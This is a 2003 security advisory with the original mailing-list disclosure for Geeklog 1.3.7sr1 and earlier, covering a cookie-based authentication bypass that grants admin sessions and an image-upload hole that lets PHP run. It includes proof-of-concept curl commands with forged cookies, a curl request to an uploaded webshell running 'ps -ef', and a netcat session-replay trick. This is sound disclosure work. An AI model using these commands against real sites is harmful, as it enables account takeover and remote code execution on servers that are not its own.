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Category:   Application (Forum/Board/Portal)  >   Geeklog Vendors:   Geeklog
Geeklog Authentication Flaws Let Remote Users Gain 'Admin' Status and Execute Arbitrary PHP Code on the System
SecurityTracker Alert ID:  1006879
SecurityTracker URL:  http://securitytracker.com/id/1006879
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 29 2003
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 1.3.7sr1 and prior versions
Description:   Several vulnerabilities were reported in the Geeklog weblog. A remote user can gain administrator status on the application and can also execute arbitrary PHP code on the target server.

SCAN Associates reported that a remote user can gain access to the system as a regular user or as an administrative user.

It is reported that a remote user can specify a non-existent session ID to bypass an authentication check in the 'lib-sessions.php' script and cause the specified session ID to be entered into the state table.

A demonstration exploit command is provided [using the 'curl' tool]:

curl -b geeklog=9999 http://blablaba/users.php

It is also reported that a remote user can supply a floating point number as the value for the userid variable to login under any user identity, including an administrator.

A demonstration exploit command is provided:

curl -b geeklog=2.1 -D header.txt http://blablaba/users.php

According to the report, the 'header.txt' contains valid session information for the admin user.

It is also reported that a remote user [presumably with privileges to upload images] can upload a valid image file with an arbitrary file extension. A remote user can include PHP code within the image and upload the file with a file extension associated with PHP and then later call the image file to execute the supplied PHP code with the privileges of the web server.

A demonstration exploit method is described in the Source Message.

Impact:   A remote user can gain access to Geeklog acting as any user, including an administrative user.

A remote user with privileges to upload image files can execute arbitrary PHP code on the system with the privileges of the web server.

Solution:   The vendor has released a fixed version (1.3.7.sr2), available at:

http://www.geeklog.net/filemgmt/singlefile.php?lid=157

An upgrade archive (patch) is also available:

http://www.geeklog.net/filemgmt/singlefile.php?lid=158

Vendor URL:  www.geeklog.net/article.php?story=20030526093915939 (Links to External Site)
Cause:   Authentication error, Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [VulnWatch] Geeklog 1.3.7sr1 and below multiple vulnerabilities.


--------------030101000501010009080303
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Products: Geeklog 1.3.7sr1 and below (http://www.geeklog.net)
Date: 29 May 2003
Author:  pokleyzz <pokleyzz_at_scan-associates.net>
Contributors:	sk_at_scan-associates.net 
		shaharil_at_scan-associates.net 
		munir_at_scan-associates.net
URL: http://www.scan-associates.net

Summary: Geeklog 1.3.7sr1 and below multiple vulnerabilities.

Description
===========
Geeklog is a 'blog', otherwise known as a Weblog. It allows you to create your 
own virtual community area, complete with user administration, story posting, 
messaging, comments, polls, calendar, weblinks, and more! It can run on many 
different operating systems, and uses PHP4 and MySQL.

Details
=======
i) SQL Integer manipulation in authentication script.

from lib-sessions.php line 128 ------------------------------------------------

       if (isset($HTTP_COOKIE_VARS[$_CONF['cookie_name']])) {
           // Session cookie doesn't exist but a perminant cookie does.
           // Start a new session cookie;
           if ($_SESS_VERBOSE) {
               COM_errorLog('perm cookie found from lib-common.php',1);
           }

           $userid = $HTTP_COOKIE_VARS[$_CONF['cookie_name']]; 
           $cookie_password = $HTTP_COOKIE_VARS[$_CONF['cookie_password']];

           //echo $userid;

           $userpass = DB_getItem($_TABLES['users'],'passwd',"uid = $userid");

           if ($cookie_password <> $userpass) {  
               // User could have modified UID in cookie, don't do shit

           } else {
               if ($userid) {
                   $user_logged_in = 1;
                   //echo $userid;
                   // Create new session and write cookie
                   $sessid = SESS_newSession($userid, $REMOTE_ADDR, $_CONF['session_cookie_timeout'], $_CONF['cookie_ip']);
                   SESS_setSessionCookie($sessid, $_CONF['session_cookie_timeout'], $_CONF['cookie_session'], $_CONF['cookie_path'],
 $_CONF['cookiedomain'], $_CONF['cookiesecure']);
		   $userdata = SESS_getUserDataFromId($userid);
		   $_USER = $userdata;
               }
           }
       }

------------------------------------------------------------------------

In this case :
DB_getItem($_TABLES['users'],'passwd',"uid = $userid"); will execute
"SELECT passwd from $_TABLES['users']  where uid=$userid"

When we supply non-existance user we can by pass the ($cookie_password <> $userpass) 
cause $userpass and $cookie_password will be null.

example:
	curl -b geeklog=9999 http://blablaba/users.php



SESS_newSession($userid, $REMOTE_ADDR, $_CONF['session_cookie_timeout'], $_CONF['cookie_ip']);
will  execute SQL query  
"INSERT INTO {$_TABLES['sessions']} (sess_id, md5_sess_id, uid, start_time, remote_ip) VALUES ($sessid, '$md5_sessid', 9999, $currtime,
 '$remote_ip')"

valid session for user 9999 which is not exist will insert to database;

Integer manipulation to get admin access
----------------------------------------
By supplying floating point number as userid, user can easily login as any geeklog
user. This is because userid is integer value in database and floating point number
always give null value for $userpass (non-existance user) . 2.1 will insert as 2 in 
column with integer data type.

proof of concept:
	curl -b geeklog=2.1 -D header.txt http://blablaba/users.php

header.txt will contain valid session for admin.


ii) Upload image with any extension.

There is lack in error checking for upload image scripts where user can upload valid
with any extention ( users and stories module). User supplied extension will be used 
for images extension. By embed php code in image user can execute any command as apache 
user on remote server.

proof of concept:
	i)  Upload attached file to server using "Internet Explorer". "Internet Explorer"
	    will use file header to generate mime-type for uploaded file.
	ii) curl -d 'cmd=ps -ef' http://blablabla/images/XXXXX-X.php


Vendor Response 
=============== 
Vendor has been contacted on 19/05/2003 and fix version is available
http://www.geeklog.net


Tips
====
Simple way to trick mozilla to store session from any site.

i) Edit header.txt.

----------------header.txt -------------------------

HTTP/1.1 200 OK
Date: Sat, 17 May 2003 16:15:23 GMT
Server: Apache
Set-Cookie: gl_session=1828197392; path=/
Set-Cookie: LastVisit=1053188123; expires=Sun, 16-May-2004 16:15:23 GMT; 
path=/
Set-Cookie: LastVisitTemp=deleted; expires=Fri, 17-May-2002 16:15:22 
GMT; path=/; domain=http://blablabla/
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

10
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


----------------header.txt --------------------------

ii) Using netcat netcat
	# nc -l -p 9090 < header.txt

iii) Set your mozilla http proxy server to 127.0.0.1:9090

iii) Browse to http://blablaba.com/

iv) Unset proxy and browse to http://blablabla.com



--------------030101000501010009080303--



 
 


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